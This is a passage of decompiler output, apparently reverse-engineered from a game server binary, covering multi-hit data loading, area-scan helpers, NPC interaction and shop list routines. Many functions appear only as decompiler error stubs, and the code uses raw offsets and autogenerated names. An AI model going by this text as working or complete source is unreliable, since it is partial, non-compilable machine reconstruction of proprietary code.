cx@64 unsigned __int16 v37; // cx@65 unsigned int v38; // edi@66 char v39; // cl@69 int v40; // edi@69 MultiHitData::MultiHitElement v41; // [sp-54h] [bp-1ECh]@13 unsigned int maxhandle; // [sp+Ch] [bp-18Ch]@9 int v43; // [sp+10h] [bp-188h]@25 unsigned int num; // [sp+14h] [bp-184h]@1 __int16 def; // [sp+18h] [bp-180h]@11 char v46; // [sp+20h] [bp-178h]@11 char Reader; // [sp+70h] [bp-128h]@1 int v48; // [sp+A0h] [bp-F8h]@1 char v49; // [sp+ACh] [bp-ECh]@1 __int16 v50; // [sp+178h] [bp-20h]@1 char v51; // [sp+17Ah] [bp-1Eh]@1 unsigned int v52; // [sp+184h] [bp-14h]@1 int v53; // [sp+194h] [bp-4h]@1 int v54; // [sp+198h] [bp+0h]@1 v1 = this; v52 = (unsigned int)&v54 ^ __security_cookie; CCharacterTitleData::CCharacterTitleData((BinaryData *)&Reader); memset(&v49, 0, 0xCCu); v50 = 0; v51 = 0; v2 = 0; v53 = 0; BinaryDataBox::bdb_ReadData((BinaryDataBox *)&Reader, "../9Data/Hero/MultiHitType.shn"); v3 = 0; v4 = 0; num = *(_DWORD *)(v48 + 40); if ( (signed int)num > 0 ) { do { if ( v2 < *(_DWORD *)(v48 + 40) ) { v5 = CDataReader::GetRecord((CDataReader *)&Reader, v2); v3 = 0; } else { v5 = &v49; } if ( *(_WORD *)v5 > v4 ) { if ( v2 < *(_DWORD *)(v48 + 40) ) { v6 = CDataReader::GetRecord((CDataReader *)&Reader, v2); v3 = 0; } else { v6 = &v49; } maxhandle = *(_WORD *)v6; v4 = maxhandle; } ++v2; } while ( (signed int)v2 < (signed int)num ); } maxhandle = v4 + 1; def = -1; v7 = &v46; v8 = 5; do { *((_WORD *)v7 - 2) = v3; *(_DWORD *)v7 = 609; v7[4] = 0; *((_WORD *)v7 + 4) = v3; *((_WORD *)v7 + 3) = v3; v7 += 16; --v8; } while ( v8 ); memcpy(&v41, &def, sizeof(v41)); std::vector>::resize( &v1->mht_Array, maxhandle, v41); v9 = 0; maxhandle = 0; if ( (signed int)num > 0 ) { while ( 1 ) { if ( v9 < *(_DWORD *)(v48 + 40) ) v10 = CDataReader::GetRecord((CDataReader *)&Reader, v9); else v10 = &v49; v11 = v1->mht_Array._Myfirst; if ( v11 ) { v13 = (signed int)((unsigned __int64)(818089009i64 * (unsigned int)((char *)v1->mht_Array._Mylast - (char *)v11)) >> 32) >> 4; v12 = v13 + ((unsigned int)v13 >> 31); } else { v12 = 0; } if ( v11 ) v14 = v1->mht_Array._Mylast - v11; else v14 = 0; v15 = *(_WORD *)v10; v43 = v15 < (unsigned int)v14; if ( v15 >= (unsigned int)v14 ) { AssertClass::ac_AssertFail(&shineassert, "MultiHitData::MultiHitTable::mht_Load : Invalid ID", v15, v12); ShineExit("MultiHitData::MultiHitTable::mht_Load"); } v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_ID = *(_WORD *)v10; v16 = *((_WORD *)v10 + 1); v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[0].oh_HitTimeRate = v16; if ( v16 ) { v17 = *(_WORD *)((char *)v10 + 37); v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[0].oh_AbStateRate = v17; if ( v17 ) { v18 = BTree::operator__(&unk_6BD71C, (const char *)v10 + 4); if ( v18 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "MultiHitData::MultiHitTable::mht_Load : Abstate not found", (const char *)v10 + 4); ShineExit("MultiHitData::MultiHitTable::mht_Load"); } v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[0].oh_AbState = v18; v19 = *((_BYTE *)v10 + 36); v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[0].oh_AbStrength = v19; v20 = *(_WORD *)v10; v43 = (unsigned __int8)v19 > 0u; if ( (unsigned __int8)v19 <= 0u ) { AssertClass::ac_AssertFail(&shineassert, "MultiHitData::MultiHitTable::mht_Load : Strength Zero", v20); ShineExit("MultiHitData::MultiHitTable::mht_Load"); } } v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[0].oh_DamageRate = *(_WORD *)((char *)v10 + 39); } v21 = *(_WORD *)((char *)v10 + 41); v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[1].oh_HitTimeRate = v21; if ( v21 ) { v22 = *(_WORD *)((char *)v10 + 77); v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[1].oh_AbStateRate = v22; if ( v22 ) { v23 = BTree::operator__(&unk_6BD71C, (const char *)v10 + 43); if ( v23 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "MultiHitData::MultiHitTable::mht_Load : Abstate not found", (const char *)v10 + 43); ShineExit("MultiHitData::MultiHitTable::mht_Load"); } v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[1].oh_AbState = v23; v24 = *((_BYTE *)v10 + 76); v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[1].oh_AbStrength = v24; v25 = *(_WORD *)v10; v43 = (unsigned __int8)v24 > 0u; if ( (unsigned __int8)v24 <= 0u ) { AssertClass::ac_AssertFail(&shineassert, "MultiHitData::MultiHitTable::mht_Load : Strength Zero", v25); ShineExit("MultiHitData::MultiHitTable::mht_Load"); } } v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[1].oh_DamageRate = *(_WORD *)((char *)v10 + 79); } v26 = *(_WORD *)((char *)v10 + 81); v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[2].oh_HitTimeRate = v26; if ( v26 ) { v27 = *((_WORD *)v10 + 59); v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[2].oh_AbStateRate = v27; if ( v27 ) { v28 = BTree::operator__(&unk_6BD71C, (const char *)v10 + 83); if ( v28 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "MultiHitData::MultiHitTable::mht_Load : Abstate not found", (const char *)v10 + 83); ShineExit("MultiHitData::MultiHitTable::mht_Load"); } v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[2].oh_AbState = v28; v29 = *((_BYTE *)v10 + 117); v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[2].oh_AbStrength = v29; v30 = *(_WORD *)v10; v43 = (unsigned __int8)v29 > 0u; if ( (unsigned __int8)v29 <= 0u ) { AssertClass::ac_AssertFail(&shineassert, "MultiHitData::MultiHitTable::mht_Load : Strength Zero", v30); ShineExit("MultiHitData::MultiHitTable::mht_Load"); } } v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[2].oh_DamageRate = *((_WORD *)v10 + 60); } v31 = *((_WORD *)v10 + 61); v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[3].oh_HitTimeRate = v31; if ( v31 ) { v32 = *((_WORD *)v10 + 80); v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[3].oh_AbStateRate = v32; if ( v32 ) { v33 = BTree::operator__(&unk_6BD71C, (const char *)v10 + 124); if ( v33 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "MultiHitData::MultiHitTable::mht_Load : Abstate not found", (const char *)v10 + 124); ShineExit("MultiHitData::MultiHitTable::mht_Load"); } v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[3].oh_AbState = v33; v34 = *((_BYTE *)v10 + 159); v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[3].oh_AbStrength = v34; v35 = *(_WORD *)v10; v43 = (unsigned __int8)v34 > 0u; if ( (unsigned __int8)v34 <= 0u ) { AssertClass::ac_AssertFail(&shineassert, "MultiHitData::MultiHitTable::mht_Load : Strength Zero", v35); ShineExit("MultiHitData::MultiHitTable::mht_Load"); } } v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[3].oh_DamageRate = *((_WORD *)v10 + 81); } v36 = *((_WORD *)v10 + 82); v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[4].oh_HitTimeRate = v36; if ( v36 ) { v37 = *(_WORD *)((char *)v10 + 203); v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[4].oh_AbStateRate = v37; if ( v37 ) { v38 = BTree::operator__(&unk_6BD71C, (const char *)v10 + 166); if ( v38 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "MultiHitData::MultiHitTable::mht_Load : Abstate not found", (const char *)v10 + 166); ShineExit("MultiHitData::MultiHitTable::mht_Load"); } v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[4].oh_AbState = v38; v39 = *((_BYTE *)v10 + 202); v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[4].oh_AbStrength = v39; v40 = *(_WORD *)v10; v43 = (unsigned __int8)v39 > 0u; if ( (unsigned __int8)v39 <= 0u ) { AssertClass::ac_AssertFail(&shineassert, "MultiHitData::MultiHitTable::mht_Load : Strength Zero", v40); ShineExit("MultiHitData::MultiHitTable::mht_Load"); } } v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[4].oh_DamageRate = *(_WORD *)((char *)v10 + 205); } ++maxhandle; if ( (signed int)maxhandle >= (signed int)num ) break; v9 = maxhandle; } } CDataReader::ClearBF((CDataReader *)&Reader); v53 = -1; CCharacterTitleData::_CCharacterTitleData((BinaryData *)&Reader); } //----- (004AB8E0) -------------------------------------------------------- void __thiscall ShineMultiTypeHandle::ShineMultiTypeHandle(ShineMultiTypeHandle *this) { this->m_type = 3; this->m_ShineHandle = -1; } //----- (004AB8F0) -------------------------------------------------------- char __thiscall ShineMultiTypeHandle::IsEmptyHandle(ShineMultiTypeHandle *this) { return this->m_ShineHandle == -1; } //----- (004AB900) -------------------------------------------------------- void __thiscall ShineMultiTypeHandle::SetEmptyHandle(ShineMultiTypeHandle *this) { this->m_ShineHandle = -1; this->m_type = 3; } //----- (004AB910) -------------------------------------------------------- char __thiscall ShineMultiTypeHandle::IsAloneType(ShineMultiTypeHandle *this) { return this->m_type == 0; } //----- (004AB920) -------------------------------------------------------- #error "4AB920: undefined or illegal type '#593' (funcsize=11)" //----- (004AB940) -------------------------------------------------------- void __thiscall ShineMultiTypeHandle::SetShinePartyRegnum(ShineMultiTypeHandle *this, unsigned __int16 PartyRegNum, unsigned int LooterRegNo) { this->m_LooterCharRegNo = LooterRegNo; this->m_ShineHandle = PartyRegNum; this->m_type = 1; } //----- (004AB960) -------------------------------------------------------- void __thiscall ShineMultiTypeHandle::SetShineRaidRegnum(ShineMultiTypeHandle *this, unsigned __int16 RaidRegNum, unsigned int LooterRegNo) { this->m_ShineHandle = RaidRegNum; this->m_LooterCharRegNo = LooterRegNo; this->m_type = 2; } //----- (004AB980) -------------------------------------------------------- unsigned int __thiscall ShineMultiTypeHandle::GetLooterCharRegNo(ShineMultiTypeHandle *this) { unsigned int result; // eax@3 if ( this->m_type != 2 && this->m_type != 1 ) result = -1; else result = this->m_LooterCharRegNo; return result; } //----- (004AB9A0) -------------------------------------------------------- #error "4AB9A0: undefined or illegal type '#593' (funcsize=58)" //----- (004ABA40) -------------------------------------------------------- #error "4ABA40: undefined or illegal type '#593' (funcsize=109)" //----- (004ABB90) -------------------------------------------------------- void __thiscall AxialListNearScan::AxialListNearScan(AxialListNearScan *this) { AxialListNearScan *v1; // esi@1 v1 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v1->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNearScan::_vftable_; v1->alns_bp = 0; } // 64E278: using guessed type int (__stdcall *AxialListNearScan___vftable_)(int, int, int distancesquar); //----- (004ABBB0) -------------------------------------------------------- int __thiscall AxialListNearScan::alns_GetNumber(AxialListNearScan *this) { return this->alns_bp; } //----- (004ABBC0) -------------------------------------------------------- #error "4ABBC0: undefined or illegal type '#593' (funcsize=7)" //----- (004ABBF0) -------------------------------------------------------- char __thiscall AxialListNearScanNPC::IsFireExist(AxialListNearScanNPC *this) { return this->baseclass_0.alns_bp > 0; } //----- (004ABC00) -------------------------------------------------------- #error "4ABC00: undefined or illegal type '#593' (funcsize=9)" //----- (004ABC20) -------------------------------------------------------- #error "4ABC20: undefined or illegal type '#593' (funcsize=14)" //----- (004ABC60) -------------------------------------------------------- #error "4ABC60: undefined or illegal type '#593' (funcsize=94)" //----- (004ABD90) -------------------------------------------------------- #error "4ABD90: undefined or illegal type '#593' (funcsize=17)" //----- (004ABDE0) -------------------------------------------------------- #error "4ABDE0: undefined or illegal type '#593' (funcsize=89)" //----- (004ABF20) -------------------------------------------------------- void __thiscall AxialListLimitAreaScan::AxialListLimitAreaScan(AxialListLimitAreaScan *this) { AxialListLimitAreaScan *v1; // esi@1 v1 = this; AxialListIterator::AxialListIterator(&this->baseclass_0.baseclass_0); v1->baseclass_0.alns_bp = 0; v1->allas_pArea = 0; v1->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListLimitAreaScan::_vftable_; } // 672A6C: using guessed type int (__thiscall *AxialListLimitAreaScan___vftable_)(AxialListNearScan *this, #593 *, int nRelocation_Y, int nRelocation_X); //----- (004ABF40) -------------------------------------------------------- void __thiscall AxialListLimitAreaScan::allas_Init(AxialListLimitAreaScan *this) { this->allas_pArea = 0; } //----- (004ABF50) -------------------------------------------------------- void __thiscall AxialListLimitAreaScan::allas_Init(AxialListLimitAreaScan *this, SkillDataBox::SkillDataIndex::AreaSkillInfo *pArea, SHINE_XY_TYPE nCoordinateAttacker, SHINE_XY_TYPE nCoordinateTarget) { ImagePinType v4; // eax@2 int v5; // eax@3 bool v6; // zf@4 unsigned int v7; // eax@4 unsigned int v8; // ebx@5 unsigned int v9; // ebp@5 unsigned int v10; // esi@5 unsigned int v11; // edi@5 long double v12; // st7@10 if ( pArea ) { this->allas_pArea = pArea; v4 = pArea->EffectTarget; if ( v4 ) { v5 = v4 - 1; if ( !v5 ) { v7 = nCoordinateTarget.x; v8 = nCoordinateAttacker.x; v9 = nCoordinateAttacker.y; v10 = nCoordinateTarget.x; v11 = nCoordinateTarget.y; goto LABEL_9; } v6 = v5 == 1; v7 = nCoordinateTarget.x; if ( v6 ) { v8 = nCoordinateAttacker.x; v9 = nCoordinateAttacker.y; v10 = nCoordinateTarget.x; v11 = nCoordinateTarget.y; goto LABEL_9; } } else { v7 = nCoordinateTarget.x; } v10 = nCoordinateAttacker.x; v11 = nCoordinateAttacker.y; v8 = nCoordinateAttacker.x; v9 = nCoordinateAttacker.y; LABEL_9: this->allas_nCenterLocation.x = v10; this->allas_nCenterLocation.y = v11; if ( pArea->bIsDirection ) { v12 = sqrt((double)(signed int)((v7 - v8) * (v7 - v8) + (nCoordinateTarget.y - v9) * (nCoordinateTarget.y - v9))); this->allas_fCos = (double)(signed int)(v7 - v8) / v12; this->allas_fSin = (double)(signed int)(nCoordinateTarget.y - v9) / v12; } } } //----- (004AC010) -------------------------------------------------------- SHINE_XY_TYPE __thiscall AxialListLimitAreaScan::allas_GetEffectCoord(AxialListLimitAreaScan *this) { SHINE_XY_TYPE result; // qax@1 unsigned int v2; // [sp+4h] [bp+4h]@0 result.y = this->allas_nCenterLocation.x; result.x = v2; *(_DWORD *)v2 = result.y; *(_DWORD *)(v2 + 4) = this->allas_nCenterLocation.y; return result; } // 4AC010: inconsistent function type and number of purged bytes //----- (004AC030) -------------------------------------------------------- void __thiscall AxialListNearScanObjectType::AxialListNearScanObjectType(AxialListNearScanObjectType *this, char nObjectType, char DeadCheck) { AxialListNearScanObjectType *v3; // esi@1 v3 = this; AxialListIterator::AxialListIterator(&this->baseclass_0.baseclass_0); v3->alnsot_nObjectType = nObjectType; v3->baseclass_0.alns_bp = 0; v3->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNearScanObjectType::_vftable_; v3->alnsot_DeadCheck = DeadCheck; } // 64E2F0: using guessed type int (__stdcall *AxialListNearScanObjectType___vftable_)(int, int, int distancesquar); //----- (004AC070) -------------------------------------------------------- void __thiscall AxialListNearScanObjectType::_AxialListNearScanObjectType(AxialListNearScanObjectType *this) { this->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNearScan::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 64E278: using guessed type int (__stdcall *AxialListNearScan___vftable_)(int, int, int distancesquar); //----- (004AC080) -------------------------------------------------------- #error "4AC080: undefined or illegal type '#593' (funcsize=26)" //----- (004AC0C0) -------------------------------------------------------- #error "4AC0C0: undefined or illegal type '#593' (funcsize=79)" //----- (004AC1F0) -------------------------------------------------------- #error "4AC1F0: undefined or illegal type '#593' (funcsize=103)" //----- (004AC380) -------------------------------------------------------- #error "4AC380: undefined or illegal type '#593' (funcsize=176)" //----- (004AC5E0) -------------------------------------------------------- #error "4AC5E0: undefined or illegal type '#593' (funcsize=65)" //----- (004AC6E0) -------------------------------------------------------- #error "4AC6E0: undefined or illegal type '#593' (funcsize=49)" //----- (004AC770) -------------------------------------------------------- NPCManager::LinkInformTemplete *__thiscall NPCRole_Portal::nrb_SaveLinkData(NPCRole_Portal *this, int num) { NPCManager::LinkInformTemplete *result; // eax@2 if ( this->nrb_LinkNum >= num ) result = this->nrb_pSaveLinkInfo[num]; else result = 0; return result; } //----- (004AC7A0) -------------------------------------------------------- void __thiscall NPCRoleBase::nrb_Role(NPCRoleBase *this, #734 *a2, NPCManager::NPCIndexArray *npcfunc, unsigned __int16 npchandle) { AssertClass::ac_AssertFail(&shineassert, "NPCRoleBase::nrb_Role", 0); } //----- (004AC7C0) -------------------------------------------------------- MobInfo *__thiscall BinaryDataBox::operator__(BinaryDataBox *this, unsigned int index) { MobInfo *result; // eax@2 if ( index < this->baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) result = (MobInfo *)CDataReader::GetRecord(&this->baseclass_0.baseclass_0, index); else result = &this->bdb_defaultblock; return result; } //----- (004AC7E0) -------------------------------------------------------- #error "4AC7E0: undefined or illegal type '#593' (funcsize=84)" //----- (004AC920) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_EndOfTrade(void *this, char servermenureset) { void *v2; // esi@1 int v3; // eax@1 char v4; // dl@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_EndOfTrade"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_EndOfTrade"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_DWORD *)v2 + 17153); *((_DWORD *)v2 + 17115) = 0; if ( v3 ) { (*(void (__thiscall **)(_DWORD, void *))(**(_DWORD **)(v3 + 4) + 4))(*(_DWORD *)(v3 + 4), v2); *((_DWORD *)v2 + 17153) = 0; *((_DWORD *)v2 + 17154) = 0; if ( servermenureset ) ServerMenuActor::sma_Reset((ServerMenuActor *)((char *)v2 + 68628)); v4 = *((_BYTE *)v2 + 23352) & 0xEF; *((_WORD *)v2 + 34304) = -1; *((_BYTE *)v2 + 23352) = v4; ShineObjectClass::ShinePlayer::sp_GuildStorageClose(v2); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_EndOfTrade"); } //----- (004ACA10) -------------------------------------------------------- #error "4ACA10: undefined or illegal type '#734' (funcsize=222)" //----- (004ACD10) -------------------------------------------------------- #error "4ACD10: undefined or illegal type '#734' (funcsize=280)" //----- (004AD0F0) -------------------------------------------------------- #error "4AD0F0: undefined or illegal type '#734' (funcsize=98)" //----- (004AD270) -------------------------------------------------------- #error "4AD270: undefined or illegal type '#734' (funcsize=287)" //----- (004AD660) -------------------------------------------------------- #error "4AD660: undefined or illegal type '#734' (funcsize=266)" //----- (004ADA00) -------------------------------------------------------- #error "4ADA00: undefined or illegal type '#734' (funcsize=234)" //----- (004ADD40) -------------------------------------------------------- #error "4ADD40: undefined or illegal type '#734' (funcsize=267)" //----- (004AE0F0) -------------------------------------------------------- #error "4AE0F0: undefined or illegal type '#734' (funcsize=56)" //----- (004AE1E0) -------------------------------------------------------- #error "4AE1E0: undefined or illegal type '#734' (funcsize=161)" //----- (004AE420) -------------------------------------------------------- #error "4AE420: undefined or illegal type '#734' (funcsize=29)" //----- (004AE4C0) -------------------------------------------------------- #error "4AE4C0: undefined or illegal type '#734' (funcsize=33)" //----- (004AE570) -------------------------------------------------------- #error "4AE570: undefined or illegal type '#734' (funcsize=29)" //----- (004AE610) -------------------------------------------------------- #error "4AE610: undefined or illegal type '#734' (funcsize=33)" //----- (004AE670) -------------------------------------------------------- #error "4AE670: undefined or illegal type '#593' (funcsize=133)" //----- (004AE870) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::InteractWithNPC(void *this, int a2) { void *v2; // esi@1 char result; // al@5 __int16 v4; // bx@6 void *v5; // eax@6 unsigned __int16 v6; // ax@8 int v7; // eax@8 int v8; // edi@10 char *v9; // eax@13 char v10; // al@13 int v11; // eax@14 int v12; // eax@15 int v13; // eax@17 char key; // [sp+10h] [bp-20h]@6 __int16 v15; // [sp+18h] [bp-18h]@6 int v16; // [sp+2Ch] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::InteractWithNPC"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::InteractWithNPC"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v16 = 0; if ( !(_S7_49 & 1) ) { _S7_49 |= 1u; cmc_60.cmc_AllowMode = 70; atexit(_E8_39); } if ( (1 << **((_BYTE **)v2 + 892)) & cmc_60.cmc_AllowMode && *(_WORD *)(*((_DWORD *)v2 + 8040) + 78) == -1 ) { v4 = *(_WORD *)(a2 + 4); v15 = *(_WORD *)(a2 + 4); v5 = bsearch(&key, &npcmanager, unk_D76CBE8, 0xCu, NPCManager::nm_HandleCompare); *((_DWORD *)v2 + 17153) = v5; if ( v5 ) { *((_WORD *)v2 + 34304) = v4; v6 = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 1792))(a2); *((_WORD *)v2 + 34305) = v6; v7 = CQuestZone::QuestPlayer_NPCClickCheck((CQuestZone *)((char *)v2 + 66176), v6) - 1; if ( v7 ) { if ( v7 != 1 ) { ORToken::ORToken((ORToken *)&key, "Auction"); v8 = *((_DWORD *)v2 + 17153); if ( ORToken::operator__((ORToken *)(*(_DWORD *)v8 + 84), (ORToken *)&key) ) *((_WORD *)v2 + 71912) = v4; if ( *(_BYTE *)(*(_DWORD *)v8 + 63) ) { v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8220; *((_WORD *)v9 + 1) = *((_WORD *)v2 + 34305); v10 = ProtocolPacket::pp_SetPacketLen(&gpp, 4); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v10, "ShineObjectClass::ShinePlayer::sp_NC_ACT_NPCCLICK_CMD : Packet Too Long", 4) ) { v11 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v11 + 12))(v11, v2, &gpp); } v12 = *(_DWORD *)((char *)v2 + 78); *((_DWORD *)v2 + 17154) = &npcrolebase; *((_DWORD *)v2 + 17155) = *(_DWORD *)v12; *((_DWORD *)v2 + 17156) = *(_DWORD *)(v12 + 4); } else { (*(void (__stdcall **)(void *, int, __int16))**(void (__stdcall ****)(_DWORD, _DWORD, _WORD))(v8 + 4))( v2, v8, v4); } } } else { CQuestZone::QuestPlayer_NPCClick((CQuestZone *)((char *)v2 + 66176), *((_WORD *)v2 + 34305)); v13 = *(_DWORD *)((char *)v2 + 78); *((_DWORD *)v2 + 17154) = &npcrolebase; *((_DWORD *)v2 + 17155) = *(_DWORD *)v13; *((_DWORD *)v2 + 17156) = *(_DWORD *)(v13 + 4); } --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::InteractWithNPC"); result = 1; } else { ShineObjectClass::ShinePlayer::sp_EndOfTrade(v2, 1); --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::InteractWithNPC"); result = 0; } } else { --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::InteractWithNPC"); result = 0; } return result; } //----- (004AEB10) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_NPCMENUOPEN_ACK(void *ply, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = ply; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_NPCMENUOPEN_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_NPCMENUOPEN_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S9_14 & 1) ) { _S9_14 |= 1u; cmc_61.cmc_AllowMode = 70; atexit(_E10_10); } if ( (1 << **((_BYTE **)v4 + 892)) & cmc_61.cmc_AllowMode ) { if ( *((_DWORD *)v4 + 17153) ) { if ( CurrentMenu::cm_MenuAction((CurrentMenu *)v4 + 5718, (#734 *)v4) && *(_BYTE *)(netcmd + 2) == 1 ) (*(void (__stdcall **)(void *, _DWORD, _DWORD))**(void (__stdcall ****)(_DWORD, _DWORD, _DWORD))(*((_DWORD *)v4 + 17153) + 4))( v4, *((_DWORD *)v4 + 17153), *((_WORD *)v4 + 34304)); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_NPCMENUOPEN_ACK : MenuAck not during npc process", 0); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_NPCMENUOPEN_ACK"); } //----- (004AEC40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_ENDOFTRADE_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_ENDOFTRADE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_ENDOFTRADE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S13_24 & 1) ) { _S13_24 |= 1u; cmc_62.cmc_AllowMode = 70; atexit(_E14_19); } if ( (1 << **((_BYTE **)v4 + 892)) & cmc_62.cmc_AllowMode ) ShineObjectClass::ShinePlayer::sp_EndOfTrade(v4, 1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_ENDOFTRADE_CMD"); } //----- (004AED20) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_EndofTrade(int this, __int16 Hnd, char Sservermenureset) { if ( *(_WORD *)(this + 68608) == Hnd ) ShineObjectClass::ShinePlayer::sp_EndOfTrade((void *)this, Sservermenureset); } //----- (004AED40) -------------------------------------------------------- void __thiscall NPCItemList::ItemListOption::ItemListOption(NPCItemList::ItemListOption *this) { NPCItemList::ItemListOption *v1; // esi@1 void *v2; // eax@1 v1 = this; OptionReader::OptionReader(&this->baseclass_0); v2 = operator new__(0xBBCu); v1->ilo_TempBuffer = (PROTO_NC_MENU_SHOPOPENTABLE_CMD *)v2; *((_WORD *)v2 + 1) = -1; } //----- (004AEDA0) -------------------------------------------------------- void __thiscall NPCItemList::NPCItemListTable::NPCItemListTable(NPCItemList::NPCItemListTable *this) { NPCItemList::NPCItemListTable *v1; // esi@1 v1 = this; BTree::BTree(&this->nilt_Index2Handle); memset(v1, 0, 0x190u); v1->nilt_TableNumber = 0; } //----- (004AEDD0) -------------------------------------------------------- void __thiscall NPCItemList::NPCItemListTable::_NPCItemListTable(NPCItemList::NPCItemListTable *this) { NPCItemList::NPCItemListTable *v1; // edi@1 signed int v2; // esi@1 v1 = this; v2 = 0; do { if ( v1->nilt_Packet[v2] ) operator delete(v1->nilt_Packet[v2]); ++v2; } while ( v2 < 100 ); BTree::_BTree(&v1->nilt_Index2Handle); } //----- (004AEE00) -------------------------------------------------------- PROTO_NC_MENU_SHOPOPENTABLE_CMD *__thiscall NPCItemList::ItemListOption::ilo_PacketMake(NPCItemList::ItemListOption *this, const char *mobindex) { NPCItemList::ItemListOption *v2; // esi@1 PROTO_NC_MENU_SHOPOPENTABLE_CMD *v3; // ecx@1 int v4; // edi@1 int v5; // ebx@1 int v6; // ebp@2 signed int v7; // ebx@3 void *v8; // edi@4 unsigned int v9; // eax@8 signed __int16 v10; // bp@8 PROTO_NC_MENU_SHOPOPENTABLE_CMD *v11; // ecx@12 bool v12; // zf@12 PROTO_NC_MENU_SHOPOPENTABLE_CMD *result; // eax@21 ORToken v14; // [sp-24h] [bp-B0h]@4 int v15; // [sp-20h] [bp-ACh]@4 int v16; // [sp-1Ch] [bp-A8h]@4 int v17; // [sp-18h] [bp-A4h]@4 ORToken v18; // [sp-14h] [bp-A0h]@2 char *v19; // [sp-10h] [bp-9Ch]@2 int v20; // [sp-Ch] [bp-98h]@2 int v21; // [sp-8h] [bp-94h]@2 unsigned int v22; // [sp-4h] [bp-90h]@2 int tab; // 